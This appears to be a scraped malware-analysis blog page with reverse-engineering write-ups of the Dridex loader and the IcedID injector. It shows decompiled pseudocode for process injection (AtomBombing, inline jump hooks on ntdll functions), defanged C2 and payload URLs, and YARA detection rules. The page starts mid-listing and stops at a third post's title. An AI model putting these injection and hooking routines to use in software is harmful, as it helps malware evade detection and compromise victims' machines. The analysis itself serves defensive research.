{NULL, VncServer::hookerGetUpdateRect, NULL, 0},
{NULL, VncServer::hookerGetUpdateRgn, NULL, 0},

{NULL, VncServer::hookerGetMessagePos, NULL, 0},
{NULL, VncServer::hookerGetCursorPos, NULL, 0},
{NULL, VncServer::hookerSetCursorPos, NULL, 0},
{NULL, VncServer::hookerSetCapture, NULL, 0},
{NULL, VncServer::hookerReleaseCapture, NULL, 0},
{NULL, VncServer::hookerGetCapture, NULL, 0},
{NULL, VncServer::hookerGetMessageW, NULL, 0},
{NULL, VncServer::hookerGetMessageA, NULL, 0},
{NULL, VncServer::hookerPeekMessageW, NULL, 0},
{NULL, VncServer::hookerPeekMessageA, NULL, 0},

User Hook API

  {NULL, UserHook::hookerTranslateMessage,              NULL, 0},
{NULL, UserHook::hookerGetClipboardData, NULL, 0},
{NULL, UserHook::hookerSetWindowTextW, NULL, 0},

CertStore Hook API

  {NULL, CertStoreHook::_hookerPfxImportCertStore,      NULL, 0},

TlsGetValue Hook API

TlsGetValue

Mozilla Firefox Hook API

PR_OpenTCPSocket
PR_Close
PR_Read
PR_Write
PR_Poll
PR_GetNameForIdentity
PR_SetError
PR_GetError

Google Chrome Hook API

SSL_Read
SSL_Write

Let’s Learn: Dissecting Dridex Banking Malware Part 1: Loader and Avast "snxk.dll" Hooking Lib

Goal: Reverse engineer and analyze the latest “Dridex” banking malware loader and its usage of Avast “snxk.dll” hooking library.

https://platform.twitter.com/widgets.js
Source:
Dridex Packed Loader 32-bit (x86) Executable (MD5: de0bb0bec9fd145a6f57e538a7dd8693)
Unpacked Dridex “ldr” Loder 32-bit (x86) Executable (MD5: 0fc7b913d0e0278d195b3606b608a223)
“snxk.dll” Injector 32-bit (x86) DLL (MD5: 105987197a3c8f76b92c4cae56fe1b16)
Outline

I. Background
II. Malware Campaign Spreading "Dridex" Banker
III. Original Dridex Packed Loader 32-bit (x86) Executable
IV. Unpacked Dridex Loader 32-bit (x86) Executable
A. Dridex Loader OutputDebugStringW(L"installing"/ L"installed")
B. Loader System Profile
C. CreateMutex: GetComputerNameA & GetEnvironmentVariableW(USERNAME)
D. Dridex Loader API and Function Resolver
E. CreateProcessW "svchost.exe" Process (flag=0xC)
F. Loader Enumerate Modules and Inject "snhxk.dll" Hooker Library
H. Loader AtomBombing Technique.
V. Unpacked "snxk.dll" Hooker 32-bit (x86) DLL
V. Yara Signature: Dridex Loader

I. Background
Dridex by far is one of the most complex and sophisticated financial banking malware on the e-crime landscape. The malware is also referred to as “Bugat” and “Cridex” by various researchers. The original Bugat malware dates back to 2010, which at some point rivaled the original “Zeus” banking malware. This malware group behind it was referenced in the Department of Justice arrest and indictment of a certain Moldovan national back in 2015. Notably, Dridex leverages AtomBombing process injection technique, initially discovered by EnSilo researchers. Before diving deeper, I highly recommend reading IBM X-Force blog titled “Dridex’s Cold War: Enter AtomBombing” detailing the Dridex method implementing this AtomBombing technique.

II. Malware Campaign Spreading "Dridex" Banker
This latest Dridex variant was distruted via an interesting chain from Microsoft Office document with macros communicating with the intermediatery server receving tasks and receiving encrypted payloads as follows: 
hxxp://securityupdateserver4[.]com/tasks[.]php
hxxp://securityupdateserver4[.]com/modules/x86payload[.]core
hxxp://securityupdateserver4[.]com/modules/x64payload[.]core
Finally, the Dridex loader was retrieved from the following URL as "dridex.exe":
hxxp://209[.]141[.]59[.]124/dridex[.]exe
III.  Original Dridex Packed Loader 32-bit (x86) Executable

The crypted binary leverages GdiFlush API in a loop until it reaches the decoding loop, which unpacks the loader leveraging the following API calls:

ntdll.LdrGetProcedureAddress
kernel32.VirtualAlloc

The original loader was obfuscated and packed by pretty interesting crypter with the following executable information with the program database (PDB) path.

---------------------------------------
----------Dridex Packed Loader---------
---------------------------------------

[IMAGE_DEBUG_DIRECTORY]
0x1F760 0x0 Characteristics: 0x0
0x1F764 0x4 TimeDateStamp: 0x5B90D07C [Thu Sep 6 07:00:12 2018 UTC]
0x1F768 0x8 MajorVersion: 0x0
0x1F76A 0xA MinorVersion: 0x0
0x1F76C 0xC Type: 0x2
0x1F770 0x10 SizeOfData: 0x33
0x1F774 0x14 AddressOfRawData: 0x28CE4
0x1F778 0x18 PointerToRawData: 0x28CE4
Type: IMAGE_DEBUG_TYPE_CODEVIEW

[CV_INFO_PDB70]
0x28CE4 0x0 CvSignature: 0x53445352
0x28CE8 0x4 Signature_Data1: 0x5F1B5FEA
0x28CEC 0x8 Signature_Data2: 0x48
0x28CEE 0xA Signature_Data3: 0x446A
0x28CF0 0xC Signature_Data4: 0xDA80
0x28CF2 0xE Signature_Data5: 0x6506
0x28CF4 0x10 Signature_Data6: 0x14D18F78
0x28CF8 0x14 Age: 0x1
0x28CFC 0x18 PdbFileName: EHW###%@$WHRENBRWHrjhss.pdb

IV. Unpacked Dridex Loader 32-bit (x86) Executable
The unpacked Dridex loader contains 398 functions and 4 sections (.text, .rdata, .data, and .reloc) with only one imported KERNEL32.dll and one API call OutputDebugStringW, statically. The total size of the unpacked loader is 86 KB. By far, the Dridex is more complex with obscure API calls obfuscated by its API hashing algorithm, process environment block (PEB) traversal, and Nt-level calls, meant to evade and frustrate automated analysis. Additionally, the loader also appears to leverage legitimate Avast library “snxk.dll” to evade detection.

---------------------------------------
----------Dridex Unpacked Loader-------
---------------------------------------

[IMAGE_DEBUG_DIRECTORY]
0x151B0 0x0 Characteristics: 0x0
0x151B4 0x4 TimeDateStamp: 0x5B8EAB53 [Tue Sep 4 15:57:07 2018 UTC]
0x151B8 0x8 MajorVersion: 0x0
0x151BA 0xA MinorVersion: 0x0
0x151BC 0xC Type: 0x2
0x151C0 0x10 SizeOfData: 0x3B
0x151C4 0x14 AddressOfRawData: 0x16804
0x151C8 0x18 PointerToRawData: 0x15204
Type: IMAGE_DEBUG_TYPE_CODEVIEW

[CV_INFO_PDB70]
0x15204 0x0 CvSignature: 0x53445352
0x15208 0x4 Signature_Data1: 0xF58A923F
0x1520C 0x8 Signature_Data2: 0xE81
0x1520E 0xA Signature_Data3: 0x4833
0x15210 0xC Signature_Data4: 0xCBB4
0x15212 0xE Signature_Data5: 0x23F9
0x15214 0x10 Signature_Data6: 0x7FBD8DA0
0x15218 0x14 Age: 0xE
0x1521C 0x18 PdbFileName: S:\Work\_bin\Release-Win32\ldr.pdb

A. Dridex Loader OutputDebugStringW(L”installing”/ L”installed”)
Once the packed loader is unpacked, we observe the Dridex loader loop leveraging OutputDebugStringW and wide strings “installing” and “installed.” It is also notable that the malware proceeds to call GetAdaptersInfo immediately after presumably to check for architecture and Windows version compatibility.

////////////////////////////////////////////////////////////
//////// Dridex Loader "installed" start exceprt ///////////
////////////////////////////////////////////////////////////
if ( (signed int)installing_ldr((char *)2) > 1 )
// OutputDebugStringW(L"installing")
OutputDebugStringW(L"installed");
v51 = a1;
svchost_exe_dridex_loader_process = a4;
v52 = 10240;
hash_func1((int)&v69, 10240);
v4 = func_calc((int)&v69, 0);
GetAdaptersInfo = (void (__cdecl *)(int, int *))func_hash1(0xDEE7C423, 0xDC613C9);
if ( GetAdaptersInfo )
GetAdaptersInfo(v4, &v52);
while ( v4 )
{
if ( *(_DWORD *)(v4 + 0x194) == 0x4B005452 && *(_WORD *)(v4 + 0x198) == 0x31A1 )
{
Dridex_loader_start(0, a2, a3, v4);
goto LABEL_12;
}
v4 = *(_DWORD *)v4;
}

B. Loader System Profile
Dridex loader profiles the system architecture leveraging various APIs and tries to obtain process token access. Additionally, the malware leverages RtlQueryElevationFlags to identify system privileges and configuration. The malware verifies it was launched with administrative privileges by calling the AllocateAndInitializeSid() function with the 0x20 (SECURITY_BUILTIN_DOMAIN_RID) and 0x220 (DOMAIN_ALIAS_RID_ADMINS) sub-authorities.
The Dridex loader leverages the following API call sequences to profile the system:

  • GetVersionExW
  • IsWow64Process
  • Process Token Access
    • OpenProcessToken
    • GetTokenInformation
    • AllocateAndInitializeSid
    • EqualSid
    • FreeSid
  • RtlQueryElevationFlags
  • GetSystemInfo

Additionally, the loader also uses SHRegDuplicateHKey API call to and enumerates registry keys at the following location leveraging RegOpenKeyExW, RegEnumKeyW:

  • HKLM\Software\Microsof\Windows\CurrentVersion\Policies\System
////////////////////////////////////////////////////////////
//////// Dridex Loader Registry Enum exceprt ///////////
////////////////////////////////////////////////////////////
if ( HKLM && HKLM != -1 )
sub_87B085(HKLM);
HKLM = v9;
v9 = 0;
v12 = (_DWORD *)func_calc(a2, 4 * v11);
v13 = 0;
v36 = *v12 ^ 0x3F62AA29;
while ( 1 )
{
v33 = v13;
RegEnumKeyW = (int (__stdcall *)(int, int, char *, signed int))func_hash1(0x3D61B1D5, 0xF2B958D9);
v5 = RegEnumKeyW ? RegEnumKeyW(HKLM, v13, Microsoft, 260) : 0;
if ( v5 )
break;
v15 = (void **)Alpha_Alloc((_WORD **)&Microsoft, (unsigned __int16 **)&v41);
v16 = WideCharToMultiByte_func_0(*v15);
v17 = v16 == v36;
j_RtlFreeHeap_func_0_0((int)&v41);
if ( v17 )
{
v35 = 0;
RegOpenKeyExW = (int (__stdcall *)(int, char *, _DWORD, signed int, int *))func_hash1(0x3D61B1D5, 0xA8C65AB);
if ( RegOpenKeyExW )
{
v19 = 0x20109;
if ( v31 == v37 )
v19 = v34;
v5 = RegOpenKeyExW(HKLM, Microsoft, 0, v19, &v35);
// HKLM\Software\ Microsof\Windows\CurrentVersion\Policies\System
else
{
v5 = 0;
}

C. CreateMutex: GetComputerNameA & GetEnvironmentVariableW(USERNAME)
The malware creates mutex leveraging advapi32.dll’s Crypto API CryptHashData calculating an MD5 value out of the concatenated output of GetComputerNameA and GetEnvironmentVariableW(“USERNAME”).
D. Dridex Loader API and Function Resolver
The malware resolves ZwProtectVirtualMemory and GetSystemDirectory and LoadLibraryW (advapi32.dll, psapi.dll, shlwapi.dll, shell32.dll, wininet.dll)

E. CreateProcessW “svchost.exe” process (flag=0xC)
The Dridex loader leverages CreateProcessW with the creation flag 0xC (CREATE_SUSPENDED|DETACHED_PROCESS) for initial process start via “svchost.exe passing the location of the Dridex loader as a command-line argument to “C:\Windows\system32\svchost.exe” and setting the current directory as “C:\Windows\system32.”

//////////////////////////////////////////////////////
////// Dridex Loader "CreateProcessW" Call ///////////
//////////////////////////////////////////////////////
CreateProcessW
(L"C:\Windows\system32\svchost.exe", // ModuleFileName
L"C:\Windows\system32\svchost.exe \
"PATH_TO_DRIDEX_LOADER"", // CommandLine
0,
0,
0,
0xC, // 0xC = CREATE_SUSPENDED|DETACHED_PROCESS
0,
// CurrentDir
L"C:\Windows\system32\",
&pStartupInfo,
&pProcessInfo)

Then, the loader proceeds to immediately obtain process information via the following sequence of API calls:

GetProcessId -> NtOpenProcess -> GetProcessImageFileNameW -> NtQueryInformationProcess -> \
GetProcessTimes -> ProcessToken Access

F. Loader Enumerate Modules and Inject “snhxk.dll” Hooker Library
Dridex enumerates modules via the following chain and injects “snxhk.dll” into “svchost.exe”:

CreateToolhelp32Snapshot -> Thread32First -> Thread32Next -> OpenThread -> \
NtQueryVirtualMemory -> NtReadVirtualMemory -> \ NtWriteVirtualMemory -> NtResumeThread

Additionally, the malware injects the DLL into the memory leveraging NtWriteVirtualMemory into the space of the suspended “svchost.exe.” 

H. Loader AtomBombing Technique
The Dridex loader leverages GlobalAddAtomW and GlobalGetAtomName with NtQueueApcThread with NtProtectVirtualMemory API call in end to make the memory region RWX as it is well-documented here.

///////////////////////////////////////////////////////////////////
//////////// Dridex Atom NtNtQueueApcThread //////////////
///////////////////////////////////////////////////////////////////

bool __fastcall Dridex_Atom_NtQueueApc(void *this, int edx0, int a2, int a3, int a4)
{

v5 = this;
v6 = edx0;
v7 = GlobalAddAtomW_GlobalGetAtomNameW_func((void *)a4);
LOWORD(v13) = v7;
if ( v7 && -1 != v7 && (v8 = func2((void *)a4), NtQueueApcThread_func
(a2, (int)v5, (unsigned __int16)v7, a3, v8 / 2)) )
{
ZwDelayExecution_func((void *)0x64);
v9 = func2((void *)a4);
v10 = func_calc(a4, 0);
v11 = NtReadVirtualMemory_func(v6, a3, v10, v9);
}
else
{
v11 = 0;
}
if ( v7 && -1 != v7 )
GlobalDeleteAtom_func(v13);
return v11;
}

V. Unpacked “snhxk.dll” Hooker 32-bit (x86) DLL

The injected “snhxk.dll” DLL contains 15 functions and 4 sections (.text, .rdata, .data, and .reloc) and one imported library KERNEL32.dll with two imported APIs FreeConsole and VirtualQuery, statically. The size of the DLL is 9 KB. Once run, this DLL also resolves dynamically GetProcAddress, LoadLibraryA, VirtualAlloc, VirtualProtect and retrieves LdrLoadDll.
Dridex appears to leverage snxhk.dll specifically to monitor LdrLoadDll API calls. The “snhxk.dll” appears to be related to Avast anti-virus hooker library to monitor loader.
The malware sets up a hook on NTDLL.dll!LdrLoadDll overwriting it with relative opcode “0xe9” jump.
//////////////////////////////////////////////////////
////// Dridex "snxhk.dll "LdrLoad" Hook Exceprt /////
//////////////////////////////////////////////////////
PVOID LdrLoadDll_dridex()
{

v12 = (_BYTE *)load_ntdll((int)"LdrLoadDll");
v11 = v12;
if ( *v12 == 0xE9u // jmp relative offset = "0xE9" opcode
{
do
{
v0 = *(_DWORD *)(v11 + 1);
v1 = v11[v0 + 5] == 0xE9u;
v11 += v0 + 5;
}
while ( v1 );
}
v10 = 0;
if ( v12 != v11 )
{
VirtualQuery(v11, &Buffer, 0x1Cu);
v10 = 0;
if ( Buffer.AllocationBase )
{
v9 = (char *)Buffer.AllocationBase + *((_DWORD *)Buffer.AllocationBase + 15);
v10 = Buffer.AllocationBase;
if ( *(_WORD *)Buffer.AllocationBase == 0x5A4D )
{
v10 = Buffer.AllocationBase;
if ( *(_DWORD *)v9 == 0x4550 )
VI. Yara Signature: Dridex Loader
import "pe"

rule crime_win32_dridex_banker_loader {
meta:
description = "Detects Dridex Loader September 4, 2018"
author = "@VK_Intel"
date = "2018-09-10"
hash1 = "ce509469b80b97e857bcd80efffc448a8d6c63f33374a43e4f04f526278a2c41"
strings:
$s1 = "S:\\Work\\_bin\\Release-Win32\\ldr.pdb" fullword ascii
$s2 = "OutputDebugStringW" fullword ascii
$s3 = "KERNEL32.dll" fullword ascii

$hash_resolver = { 56 57 8b fa 8b f1 8b cf e8 ?? ?? ?? ?? 85 c0 75 ?? 81 fe 29 aa 62 3f 75 ?? 33 c0 5f 5e c3}

condition:
( uint16(0) == 0x5a4d and
filesize < 300KB ) and
pe.imphash() == "cdd344983e4f44182600c69cb4fab21d" and (1 of them) or
( 1 of ($s*) and $hash_resolver )
}
VII. Appendix: Dridex Loader Configuration
Dridex ID: “10205”
104.236.24[.]85:443
188.240.231[.]15:3889
107.170.220[.]167:4431

Let’s Learn: Deeper Dive into "IcedID"/"BokBot" Banking Malware: Part 1

Goal: Reverse engineer and analyze one of the latest “IcedID” banking malware (also known to some researchers as “BokBot”) focusing on its core functionality.

https://platform.twitter.com/widgets.js Malware:
Original Packed IcedID Loader (MD5: 78930770cb81ad779958da3523fcb829)

Unpacked Injector IcedID (M5: e42d8511c6237cd22ac6bc89a2c00861)

Outline:

I. Background

II. “Emotet” Malware Campaign Spreading “IcedId” Banker

III. Original Packed Loader "IcedID" 32-bit (x86) Executable
IV. Unpacked Process Injector "IcedID" 32-bit (x86) Executable
V. Minimalistic Process Injection: \
Hooking Engine ZwCreateUserProcess & RtlExitUserProcess
A. IcedID "HookMain" 
B. Injector CreateProcessW API Execution (dwCreationFlags=0)
C. "myZwCreateUserProcess" Hook
D. "HookRtlExitUserProcess" Function
V. Yara Signature: IcedID Injector


I. Background

IcedID banker first publically identified in November 2017; IBM’s X-Force research team published a report claiming to have spotted this new banking malware spreading via massive spam campaigns. Compromised computers were first infected with the Emotet downloader, which then grabbed IcedID from the attacker’s domain. IcedID is able to maintain persistence on infected machines, and it has targeted companies mainly in the financial services, retail, and technology sectors. IcedID operators oftentimes collaborate with other groups such as TrickBot, for example.
Additionally, I highly recommend reading Fox-IT’s paper titled Bokbot: The (re)birth of a banker.” They detail that the original discovery dates back to May 2017; additionally, it is notable that the IcedID banker appears to be a continuation of the Neverquest group activity, also known internally as “Catch.” 
II. “Emotet” Malware Campaign Spreading “IcedId” Banker
While reviewing one of the latest malware campaign spreading the Emotet loader as it was reported by Brad, I decided to dive deeper into this banker malware sample. It is notable that this specific malware campaign was spreading IcedID banker and “AZORult” stealer subsequently.
III. Original Packed Loader “IcedID” 32-bit (x86) Executable
The original IcedID loader was obfuscated and packed by pretty interesting crypter with the following executable information with the PDB path.
[IMAGE_DEBUG_DIRECTORY]
0x1E1E0 0x0 Characteristics: 0x0
0x1E1E4 0x4 TimeDateStamp: 0x4AA23E03 [Sat Sep 5 10:31:31 2009 UTC]
0x1E1E8 0x8 MajorVersion: 0x0
0x1E1EA 0xA MinorVersion: 0x0
0x1E1EC 0xC Type: 0x2
0x1E1F0 0x10 SizeOfData: 0x42
0x1E1F4 0x14 AddressOfRawData: 0x257B8
0x1E1F8 0x18 PointerToRawData: 0x245B8
Type: IMAGE_DEBUG_TYPE_CODEVIEW

[CV_INFO_PDB70]
0x245B8 0x0 CvSignature: 0x53445352
0x245BC 0x4 Signature_Data1: 0x11439B10
0x245C0 0x8 Signature_Data2: 0x27C2
0x245C2 0xA Signature_Data3: 0x49F4
0x245C4 0xC Signature_Data4: 0x6EB6
0x245C6 0xE Signature_Data5: 0x780D
0x245C8 0x10 Signature_Data6: 0x7D7BC8B5
0x245CC 0x14 Age: 0x1
0x245D0 0x18 PdbFileName: c:\Sea\Eat\Steam\First\Bone\boybehind.pdb

IV. Unpacked Process Injector “IcedID” 32-bit (x86) Executable
After unpacking the crypter/loader portion of IcedID, one of the first notable features of IcedID is its surreptitious process injection without using suspended process but relies on hooking ZwCreateUserProcess and RtlExitUserProcess. The injector appears to have been compiled on August 13, 2018. Its size is 25 KB with three sections and two imports.

[IMAGE_FILE_HEADER]
0xC4 0x0 Machine: 0x14C
0xC6 0x2 NumberOfSections: 0x3
0xC8 0x4 TimeDateStamp: 0x5B718995 [Mon Aug 13 13:37:25 2018 UTC]
0xCC 0x8 PointerToSymbolTable: 0x0
0xD0 0xC NumberOfSymbols: 0x0
0xD4 0x10 SizeOfOptionalHeader: 0xE0
0xD6 0x12 Characteristics: 0x103
Flags: IMAGE_FILE_32BIT_MACHINE, IMAGE_FILE_EXECUTABLE_IMAGE, IMAGE_FILE_RELOCS_STRIPPED

The injector contains three sections (.text, bss, .rdata) with two imported DLL:

  • SHLWAPI.DLL
  • KERNEL32.DLL
The rest of APIs, IcedID injector imports dynamically resolving NTDLL.DLL as follows.

V. Minimalistic Process Injection: Hooking Engine ZwCreateUserProcess & RtlExitUserProcess

Essentially, IcedID injector starts checks if it is being with the “/u” parameter, and if it does, it sleeps for 5000 milliseconds. Otherwise, it resolves NTDLL.dll APIs dynamically and proceeds into the main hooking function hooking ZwCreateUserProcess and RtlExitProcess APIs. Eventually, it launches the main code via “svchost.exe.” 
The injector main function works as follows as pseudo-coded in C++:

/////////////////////////////////////////////////////////
/////// IcedID Injector Start Function //////////////////
/////////////////////////////////////////////////////////

void __noreturn IcedID_start()
{
LPSTR v0;
WCHAR path_svchost_exe;
struct _STARTUPINFOW StartupInfo;
WCHAR WINDIR_svchost_exe;
struct _PROCESS_INFORMATION ProcessInformation;

v0 = GetCommandLineA();
if ( StrStrIA(v0, &unk_407DB8) )
  // "/u" - param check via CommandLineA
Sleep(5000u);
if ( Get_Param_Resolve_NTDLL((int)v0) )
{
get_decoder(&StartupInfo, 0x44);
get_decoder(&ProcessInformation, 16);
StartupInfo.cb = 0x44;
    // "IcedID" main hooking function
if ( HookMain((int)ntdll_ZwCreateUserProcess,
        (int)my_ZwCreateUserProcess) )
{
GetSystemDirectoryW(&path_svchost_exe, 0x104u);
      // Set up %WINDIR%\System32 directory path
SetCurrentDirectoryW(&path_svchost_exe);
get_svchost((int)&WINDIR_svchost_exe);
      // "svchost.exe"
lstrcatW(&path_svchost_exe, &WINDIR_svchost_exe);
CreateProcessW(0, &path_svchost_exe, 0, 0, 0, 0, 0, 0, &StartupInfo,
      &ProcessInformation);
}
}
ExitProcess(0);
}

Talos provides an excellent description of this technique as follows (copy/paste):

  • In the memory space of the IcedID process, the function ntdll!ZwCreateUserProcess is hooked.
  • The function kernel32!CreateProcessA [CreateProcessW  (Unicode) version-  @VK_Intel) is called to launch svchost.exe and the CREATE_SUSPENDED flag is not set.
  • The hook on ntdll!ZwCreateUserProcess is hit as a result of calling kernel32!CreateProcessA. The hook is then removed, and the actual function call to ntdll!ZwCreateUserProcess is made.
  • At this point, the malicious process is still in the hook, the svchost.exe process has been loaded into memory by the operating system, but the main thread of svchost.exe has not yet started.
  • The call to ntdll!ZwCreateUserProcess returns the process handle for svchost.exe. Using the process handle, the functions ntdll!NtAllocateVirtualMemory and ntdll!ZwWriteVirtualMemory can be used to write malicious code to the svchost.exe memory space.
  • In the svchost.exe memory space, the call to ntdll!RtlExitUserProcess is hooked to jump to the malicious code already written
  • The malicious function returns, which continues the code initiated by the call tokernel32!CreateProcessA, and the main thread of svchost.exe will be scheduled to run by the operating system.
  • The malicious process ends.
A. IcedID “HookMain” 
The IcedID malware BOOL-type “HookMain” function works as follows:
/////////////////////////////////////////////////////////
/////// IcedID Injector HookMain Function //////////////////
/////////////////////////////////////////////////////////
BOOL __cdecl HookMain(int relative_offset_opcode_jump, int a2)
{

result = ntdll_ZwProtectVirtualMemory_0(0xFFFFFFFF, relative_offset_opcode_jump, 5, 64, (int)&v4);
v3 = result;
if ( result )
{
//"0xE9" opcode for a jump with 32-bit relative
*(_BYTE *)relative_offset_opcode_jump = 0xE9u;
*(_DWORD *)(relative_offset_opcode_jump + 1) = a2 - relative_offset_opcode_jump - 5;
ntdll_ZwProtectVirtualMemory_0(0xFFFFFFFF, relative_offset_opcode_jump, 5, v4, (int)&v4);
result = v3;
}
return result;
}
B. Injector CreateProcessW API Execution (dwCreationFlags=0)
IcedID sets up the process execution CreateProcessW with dwCreationFlags set to 0 with no suspended proceses.
Next, the malware sets up the hook for ZwCreateUserProcess (overwrites with relative opcode 0xe9 jump) and then decompressing the buffer via RtlDecompressBuffer API call. Subsequently, the malware sets another hook on RtlExitUserProcess.
C. IcedID “myZwCreateUserProcess” Hook

The IcedID signed int “my_ZwCreateUserProcess” function prototype is as follows:
/////////////////////////////////////////////////////////
/////// IcedID Injector my_ZwCreateUserProcess Function ///
///////////////////////////////////////////////////////
signed int __thiscall my_ZwCreateUserProcess(void *this, _DWORD *a2, int a3, int a4, int a5, int a6, int a7, int a8, int a9, int a10, int a11, int a12)
{

v13 = this;
if ( ZwProtectVirtualMemory((int)ntdll_ZwCreateUserProcess, (int)&addr_of_ntdll_func_3) )
{
result = ntdll_ZwCreateUserProcess(a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
if ( !result )
{
if ( ntdll_RtlDecompressBuffer_0(&a12, &v13) )
result = HookRtlExitUserProcess(*a2, a12) != 0 ? 0 : 0xC0000001;
else
result = 0xC0000001;
}
}
else
{
result = 0xC0000001;
}
return result;
}

Additionally, the malware enters the boolean-type function “HookRtlExitProcess,” which deals with writing the malicious code via ntdll!ZwAllocateVirtualMemory and ntdll!ZwWriteVirtualMemory, which returns the call back to CreateProcessW to launch the execution of “svchost.exe” in memory.
D. “HookRtlExitUserProcess” Function

/////////////////////////////////////////////////////////
//// IcedID Injector HookRtlExitUserProcess Function ////
/////////////////////////////////////////////////////////
BOOL __cdecl HookRtlExitUserProcess(int a1, int a2)
{

v2 = 0;
v6 = a1;
lpMem = 0;
v8 = 0;
v9 = a2;
v3 = ntdll_ZwAllocateVirtualMemory_0(a1, 0x54, 4);
if ( v3 )
{
v2 = zwAllocateVirtualMemory_DecoderMain((int)&v6);
if ( v2 )
{
v4 = (char *)lpMem + *(_DWORD *)(v9 + 0x10);
if ( v4 )
{
*(_DWORD *)v4 = v3;
v2 = ntdll_ZwWriteVirtualMemory_Main((int)&v6);
if ( v2 )
{
v2 = CreateHookRtlExitProcess(a1, ntdll_RtlExitUserProcess, v8 + *(_DWORD *)(v9 + 0xC));
if ( v2 )
v2 = ntdll_ZwWriteVirtualMemory_0(a1, v3, (int)&dword_402000, 0x454);
}
}
}
if ( lpMem )
GetProcessHeap_Free(lpMem);
}
return v2;
}

VI. Yara Signature: IcedID Injector

rule crime_win32_iceid_injector {
meta:
description = "Detects IcedID Banker Injector"
author = "@VK_Intel"
date = "2018-09-07"
hash1 = "f48efe24259106d0d22bf764c90c96a03155f87710ec181830ea5e84c8d15a9f"
strings:
$s1 = "NTDLL.DLL" fullword ascii
$s2 = "StrStrIA" fullword ascii
$s3 = "StrToIntA" fullword ascii
$s4 = "GetSystemDirectoryW" fullword ascii
$s5 = "GetNativeSystemInfo" fullword ascii
$s6 = "LoadLibraryA" fullword ascii

$hook_rtlexitproces = { ff ?? ?? ff ?? e8 ?? ?? ?? ?? f7 d8 59 1b c0 25 ff ff ff 3f 59 05 01 00 00 c0 5e 8b e5 5d c2 2c 00}
$hook_main = { 55 8b ec 51 56 8b ?? ?? 8d ?? ?? 57 50 6a 40 6a 05 56 6a ff e8 ?? ?? ?? ?? 8b f8 83 c4 14 85 ff 74 ?? 8b ?? ?? 2b c6 c6 ?? ?? 83 e8 05 89 ?? ?? 8d ?? ?? 50 ff ?? ?? 6a 05 56 6a ff e8 ?? ?? ?? ?? 83 c4 14 8b c7 5f 5e 8b e5 5d c3}
$hook_zwcreate_user = { 55 8b ec 51 68 82 20 40 00 ff ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 59 59 85 c0 75 ?? b8 01 00 00 c0 eb ?? 56 ff ?? ?? 8b ?? ?? ff ?? ?? ff ?? ?? ff ?? ?? ff ?? ?? ff ?? ?? ff ?? ?? ff ?? ?? ff ?? ?? ff ?? ?? 56 ff ?? ?? ?? ?? ?? 85 c0 75 ?? 8d ?? ?? 50 8d ?? ?? 50 e8 ?? ?? ?? ?? 59 59 85 c0 75 ?? b8 01 00 00 c0 eb ?? ff ?? ?? ff ?? e8 ?? ?? ?? ?? f7 d8 59 1b c0 25 ff ff ff 3f 59 05 01 00 00 c0 5e 8b e5 5d c2 2c 00}
$ntdll_resolver = { 57 68 c0 7e 40 00 ff ?? ?? ?? ?? ?? 8b f8 85 ff 75 ?? 5f c3 53 56 68 76 20 40 00 68 30 20 40 00 68 51 d4 0c e5 33 db c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 53 57 57 e8 ?? ?? ?? ?? 68 70 20 40 00 68 28 20 40 00 68 b2 9f d8 b0 53 57 57 8b f0 e8 ?? ?? ?? ?? 68 58 20 40 00 68 08 20 40 00 68 eb da 7b d3 53 57 57 0b f0 e8 ?? ?? ?? ?? 83 c4 48 0b f0 68 82 20 40 00 68 40 20 40 00 68 66 5f b1 f4 53 57 57 e8 ?? ?? ?? ?? 68 64 20 40 00 68 18 20 40 00 68 df 5d 79 8c 53 57 57 0b f0 e8 ?? ?? ?? ?? 68 5e 20 40 00 68 10 20 40 00 68 94 9c 50 c5 53 57 57 0b f0 e8 ?? ?? ?? ?? 83 c4 48 0b f0 68 6a 20 40 00 68 20 20 40 00 68 e4 d1 46 ae 53 57 57 e8 ?? ?? ?? ?? 68 88 20 40 00 68 48 20 40 00 68 7e b7 06 fd 53 57 57 0b f0 e8 ?? ?? ?? ?? 68 7c 20 40 00 68 38 20 40 00 68 26 dd 7f 2d 53 57 57 0b f0 e8 ?? ?? ?? ?? 83 c4 48 0b f0 68 8e 20 40 00 68 50 20 40 00 68 ee 1a 0c 53 53 57 57 e8 ?? ?? ?? ?? 83 c4 18 0b c6 f7 d8 1b c0 5e 5b 40 5f c3 83 ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 53 57 e8 ?? ?? ?? ?? 8b f8 8b da 8b cf 0b cb 0f ?? ?? ?? ?? ?? 55 53 57 e8 ?? ?? ?? ?? 8b e8 59 59 85 ed 0f ?? ?? ?? ?? ?? 56 68 0e 21 40 00 68 c8 20 40 00 68 51 d4 0c e5 53 57 55 e8 ?? ?? ?? ?? 68 08 21 40 00 68 c0 20 40 00 68 b2 9f d8 b0 53 57 55 8b f0 e8 ?? ?? ?? ?? 68 f0 20 40 00 68 a0 20 40 00 68 eb da 7b d3 53 57 55 0b f0 e8 ?? ?? ?? ?? 83 c4 48 0b f0 68 1a 21 40 00 68 d8 20 40 00 68 66 5f b1 f4 53 57 55 e8 ?? ?? ?? ?? 68 fc 20 40 00 68 b0 20 40 00 68 df 5d 79 8c 53 57 55 0b f0 e8 ?? ?? ?? ?? 68 f6 20 40 00 68 a8 20 40 00 68 94 9c 50 c5 53 57 55 0b f0 e8 ?? ?? ?? ?? 83 c4 48 0b f0 68 02 21 40 00 68 b8 20 40 00 68 e4 d1 46 ae 53 57 55 e8 ?? ?? ?? ?? 68 20 21 40 00 68 e0 20 40 00 68 7e b7 06 fd 53 57 55 0b f0 e8 ?? ?? ?? ?? 68 14 21 40 00 68 d0 20 40 00 68 26 dd 7f 2d 53 57 55 0b f0 e8 ?? ?? ?? ?? 83 c4 48 0b f0 68 26 21 40 00 68 e8 20 40 00 68 ee 1a 0c 53 53 57 55 e8 ?? ?? ?? ?? 55 0b f0 e8 ?? ?? ?? ?? 83 c4 1c 85 f6 5e 75 ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 5d 5f 5b c3}

condition:
uint16(0) == 0x5a4d and
filesize < 80KB and
( all of ($s*) and $hook_main)
or ( $hook_main and ($ntdll_resolver or $hook_rtlexitproces or $hook_zwcreate_user))
}

Let’s Learn: In-Depth Reversing of Recent Gozi ISFB Banking Malware Version 2.16/2.17 & "loader.dll/client.dll"

